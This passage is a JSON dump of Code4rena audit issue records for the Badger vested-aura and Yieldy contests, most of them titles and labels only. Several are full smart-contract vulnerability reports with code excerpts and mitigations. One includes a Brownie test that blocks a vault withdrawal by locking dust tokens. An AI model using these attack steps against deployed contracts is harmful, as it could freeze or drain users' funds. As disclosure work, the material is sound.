"labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/150", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Access control modifier can be bypassed", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/147", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Access control modifier can be bypassed"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/145", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/141", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Malicious Governance can set malicious `bribesProcessor` to steal rewards that are not protected", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Malicious Governance can set malicious `bribesProcessor` to steal rewards that are not protected"}, {"title": "auraBAL can be stuck into the Strategy contract", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/129", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "valid"], "target": "2022-06-badger-findings", "body": "# Lines of code https://github.com/Badger-Finance/vested-aura/blob/v0.0.2/contracts/MyStrategy.sol#L220-L228 https://github.com/Badger-Finance/vested-aura/blob/v0.0.2/contracts/MyStrategy.sol#L288 # Vulnerability details ## Impact The internal `_harvest()` function defined is responsible to claim auraBAL from the aura locker and within the function it swaps them to auraBAL -> BAL/ETH BPT -> WETH -> AURA, finally it locks AURA to the locker to increase the position. For claiming auraBAL it calls `LOCKER.getReward(address(this))` and it calculates the tokes earned, checking the balance before and after the claiming. The function to get the rewards is public and any address can call it for the strategy address, and it will transfer all rewards tokens to the strategy, but in this scenario the auraBAL will remain in stuck into the contract, because they won't be counted as auraBAL earned during the next `_harvest()`. Also they could not sweep because auraBAL is a protected token. Also, the aura Locker will be able to add other token as reward apart of auraBAL, but the harvest function won't be able to manage them, so they will need to be sweep every time. The same scenario can happen during the `claimBribesFromHiddenHand()` call, the `IRewardDistributor.Claim[] calldata _claims` pass as input parameters could be frontrunned, and another address can call the `hiddenHandDistributor.claim(_claims)` (except for ETH rewards) for the strategy address, and like during the `_harvest()` only the tokens received during the call will be counted as earned. However every token, except auraBAL can be sweep, but the `_notifyBribesProcessor()` may never be called. ## Proof of Concept At every `_harvest()` it checks the balance before the claim and after, to calculate the auraBAL earned, so every auraBAL transferred to the strategy address not during this call, won't be swapped to AURA. ## Recommended Mitigation Steps Instead of calculating the balance before and after the claim, for both `harvest\u2260 and `claimBribesFromHiddenHand()`, the whole balance could be taken, directly after the claim. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Inconsistency in paused functionalities", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/113", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "valid"], "target": "2022-06-badger-findings", "body": "Inconsistency in paused functionalities"}, {"title": "Badger rewards from Hidden Hand can permanently prevent Strategy from receiving bribes", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/111", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-06-badger-findings", "body": "# Lines of code https://github.com/Badger-Finance/vested-aura/blob/d504684e4f9b56660a9e6c6dfb839dcebac3c174/contracts/MyStrategy.sol#L428-L430 https://github.com/Badger-Finance/badger-vaults-1.5/blob/3c96bd83e9400671256b235422f63644f1ae3d2a/contracts/BaseStrategy.sol#L351 https://github.com/Badger-Finance/vested-aura/blob/d504684e4f9b56660a9e6c6dfb839dcebac3c174/contracts/MyStrategy.sol#L407-L408 # Vulnerability details ## Impact If the contract receives rewards from the hidden hand marketplace in BADGER then the contract tries to transfer the same amount of tokens twice to two different accounts, once with `_sendBadgerToTree()` in `MyStrategy` and again with `_processExtraToken()` in the `BasicStrategy` contract. As it is very likely that the strategy will not start with any BADGER tokens, the second transfer will revert (as we are using safeTransfer). This means that `claimBribesFromHiddenHand()` will always revert preventing any other bribes from being received. ## Proof of Concept 1. `claimBribesFromHiddenHand()` is called by strategist 2. Multiple bribes are sent to the strategy including BADGER. For example lets say 50 USDT And 50 BADGER 3. Strategy receives BADGER and calls `_handleRewardTransfer()` which calls `_sendBadgerToTree()`. 50 BADGER is sent to the Badger Tree so balance has dropped to 0. 4. 50 Badger is then again sent to Vault however balance is 0 so the command fails and reverts 5. No more tokens can be claimed anymore ## Tools Used VS Code ## Recommended Mitigation Steps `_processExtraToken()` eventually sends the badger to the badger tree through the `Vault` contract. Change ``` function _sendBadgerToTree(uint256 amount) internal { IERC20Upgradeable(BADGER).safeTransfer(BADGER_TREE, amount); _processExtraToken(address(BADGER), amount); } ``` to ``` function _sendBadgerToTree(uint256 amount) internal { _processExtraToken(address(BADGER), amount); } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/109", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "`_harvest` has no slippage protection when swapping `auraBAL` for `AURA` ", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/104", "labels": ["bug", "2 (Med Risk)", "valid"], "target": "2022-06-badger-findings", "body": "`_harvest` has no slippage protection when swapping `auraBAL` for `AURA` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/99", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Withdrawing all funds at once to vault can be DoS attacked by frontrunning and locking dust", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/92", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "valid"], "target": "2022-06-badger-findings", "body": "# Lines of code https://github.com/Badger-Finance/vested-aura/blob/d504684e4f9b56660a9e6c6dfb839dcebac3c174/contracts/MyStrategy.sol#L184-L187 # Vulnerability details ## Impact All funds can be migrated (withdrawn) at once to the caller vault by using the `BaseStrategy.withdrawToVault` function which internally calls `MyStrategy._withdrawAll`. The latter function has the following check in place: [MyStrategy.sol#L184-L187](https://github.com/Badger-Finance/vested-aura/blob/d504684e4f9b56660a9e6c6dfb839dcebac3c174/contracts/MyStrategy.sol#L184-L187) ```solidity require( balanceOfPool() == 0 && LOCKER.balanceOf(address(this)) == 0, \"You have to wait for unlock or have to manually rebalance out of it\" ); ``` Funds can only be withdrawn (migrated) if the balance in `LOCKER` is fully unlocked. By locking a small amount of want tokens via `AuraLocker.lock` with the `strategy` address, a malicious individual can cause DoS and prevent withdrawing and migrating funds to the vault. ## Proof of Concept The following test case will replicate the DoS attack by locking \"dust\" want tokens for the `strategy` address. This causes `vault.withdrawToVault` to revert. ```python def test_frontrun_migration(locker, deployer, vault, strategy, want, governance, keeper): # Setup randomUser = accounts[6] snap = SnapshotManager(vault, strategy, \"StrategySnapshot\") startingBalance = want.balanceOf(deployer) depositAmount = startingBalance // 2 assert startingBalance >= depositAmount # End Setup # Deposit want.approve(vault, MaxUint256, {\"from\": deployer}) snap.settDeposit(depositAmount, {\"from\": deployer}) chain.sleep(15) chain.mine() vault.earn({\"from\": keeper}) chain.snapshot() # Test no harvests chain.sleep(86400 * 250) ## Wait 250 days so we can withdraw later chain.mine() before = {\"settWant\": want.balanceOf(vault), \"stratWant\": strategy.balanceOf()} strategy.prepareWithdrawAll({\"from\": governance}) want.approve(locker, 1, {\"from\": deployer}) locker.lock(strategy, 1, { \"from\": deployer }) # Donate \"dust\" want tokens to strategy vault.withdrawToVault({\"from\": governance}) # @audit-info reverts with \"You have to wait for unlock or have to manually rebalance\" after = {\"settWant\": want.balanceOf(vault), \"stratWant\": strategy.balanceOf()} assert after[\"settWant\"] > before[\"settWant\"] assert after[\"stratWant\"] < before[\"stratWant\"] assert after[\"stratWant\"] == 0 ``` ## Tools Used Manual review ## Recommended mitigation steps Call `LOCKER.processExpiredLocks(false);` in `MyStrategy._withdrawAll` directly and remove the check which enforces unlocking all want tokens on L184-L187. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/55", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/54", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "with claimBribesFromHiddenHand() It's possible to send auraBAL rewards from LOCKER to bribeProcessor even so auraBAL is in protected tokens and it is supposed to get harvested in _harvest", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/31", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "with claimBribesFromHiddenHand() It's possible to send auraBAL rewards from LOCKER to bribeProcessor even so auraBAL is in protected tokens and it is supposed to get harvested in _harvest"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "attacker can call sweepRewardToken() when `bribesProcessor==0` and reward funds will be lost because there is no check in sweepRewardToken() and _handleRewardTransfer() and _sendTokenToBribesProcessor()", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/18", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "valid"], "target": "2022-06-badger-findings", "body": "# Lines of code https://github.com/Badger-Finance/vested-aura/blob/d504684e4f9b56660a9e6c6dfb839dcebac3c174/contracts/MyStrategy.sol#L107-L113 https://github.com/Badger-Finance/vested-aura/blob/d504684e4f9b56660a9e6c6dfb839dcebac3c174/contracts/MyStrategy.sol#L405-L413 https://github.com/Badger-Finance/vested-aura/blob/d504684e4f9b56660a9e6c6dfb839dcebac3c174/contracts/MyStrategy.sol#L421-L425 # Vulnerability details ## Impact If the value of `bribesProcessor` was `0x0` (the default is `0x0` and `governance()` can set to `0x0`) then attacker can call `sweepRewardToken()` make contract to send his total balance in attacker specified token to `0x0` address. ## Proof of Concept the default value of `bribesProcessor` is `0x0` and `governance` can set the value to `0x0` at any time. rewards are stacking in contract address and they are supposed to send to `bribesProcessor`. This is `sweepRewardToken()` and `_handleRewardTransfer()` and `_sendTokenToBribesProcessor()` code: ``` /// @dev Function to move rewards that are not protected /// @notice Only not protected, moves the whole amount using _handleRewardTransfer /// @notice because token paths are hardcoded, this function is safe to be called by anyone /// @notice Will not notify the BRIBES_PROCESSOR as this could be triggered outside bribes function sweepRewardToken(address token) public nonReentrant { _onlyGovernanceOrStrategist(); _onlyNotProtectedTokens(token); uint256 toSend = IERC20Upgradeable(token).balanceOf(address(this)); _handleRewardTransfer(token, toSend); } function _handleRewardTransfer(address token, uint256 amount) internal { // NOTE: BADGER is emitted through the tree if (token == BADGER) { _sendBadgerToTree(amount); } else { // NOTE: All other tokens are sent to bribes processor _sendTokenToBribesProcessor(token, amount); } } function _sendTokenToBribesProcessor(address token, uint256 amount) internal { // TODO: Too many SLOADs IERC20Upgradeable(token).safeTransfer(address(bribesProcessor), amount); emit RewardsCollected(token, amount); } ``` As you can see calling `sweepRewardToken()` eventually (`sweepRewardToken() -> _handleRewardTransfer() -> _sendTokenToBribesProcessor()`) would transfer reward funds to `bribesProcessor` and there is no check that `bribesProcessor!=0x0` in execution follow. so attacker can call `sweepRewardToken()` when `bribesProcessor` is `0x0` and contract will lose all reward tokens. ## Tools Used VIM ## Recommended Mitigation Steps check the value of `bribesProcessor` in `_sendTokenToBribesProcessor()` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/14", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/13", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/1", "labels": [], "target": "2022-06-badger-findings", "body": "Agreement & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/305", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/304", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/302", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/301", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/299", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/297", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/296", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/295", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/293", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Insufficient staking tokens to migrate into new contract", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/292", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "Insufficient staking tokens to migrate into new contract"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/290", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Functions in the `BatchRequests` contract revert for removed contract addresses", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/283", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/BatchRequests.sol#L50-L59 https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/BatchRequests.sol#L33-L44 # Vulnerability details ## Impact Removing Yieldy contract addresses from the `contracts` array with `BatchRequests.removeAddress` replaces the contract address with a zero-address (due to how `delete` works). Each function that loops over the `contracts` array or accesses an array item by index, should zero-address check the value before calling any external contract functions. If this zero-address check is missing, an external call to this zero-address will revert. ## Proof of Concept [BatchRequests.canBatchContractByIndex](https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/BatchRequests.sol#L50-L59) ```solidity function canBatchContractByIndex(uint256 _index) external view returns (address, bool) { return ( contracts[_index], IStaking(contracts[_index]).canBatchTransactions() // @audit-info `contracts` with zero-address elements (due to deletion) will revert - add zero-address check and return false ); } ``` [BatchRequests.canBatchContracts](https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/BatchRequests.sol#L33-L44) ```solidity function canBatchContracts() external view returns (Batch[] memory) { uint256 contractsLength = contracts.length; Batch[] memory batch = new Batch[](contractsLength); for (uint256 i; i < contractsLength; ) { bool canBatch = IStaking(contracts[i]).canBatchTransactions(); // @audit-info `contracts` with zero-address elements (due to deletion) will revert - add zero-address check batch[i] = Batch(contracts[i], canBatch); unchecked { ++i; } } return batch; } ``` ## Tools Used Manual review ## Recommended mitigation steps Add zero-address checks to both mentioned functions. "}, {"title": "Removal of liquidity from the reserve can be griefed", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/282", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor disputed"], "target": "2022-06-yieldy-findings", "body": "Removal of liquidity from the reserve can be griefed"}, {"title": "Sending batch withdrawal requests can possibly DoS", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/280", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "Sending batch withdrawal requests can possibly DoS"}, {"title": "instantUnstake function can be frontrunned with fee increase", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/279", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "instantUnstake function can be frontrunned with fee increase"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/277", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/275", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/274", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/273", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "User fund lose in addLiquidity() of LiquidityReserve by increasing (totalLockedValue / totalSupply()) to very large number by attacker", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/272", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-06-yieldy-findings", "body": "User fund lose in addLiquidity() of LiquidityReserve by increasing (totalLockedValue / totalSupply()) to very large number by attacker"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/271", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/269", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/267", "labels": ["bug", "QA (Quality Assurance)"], 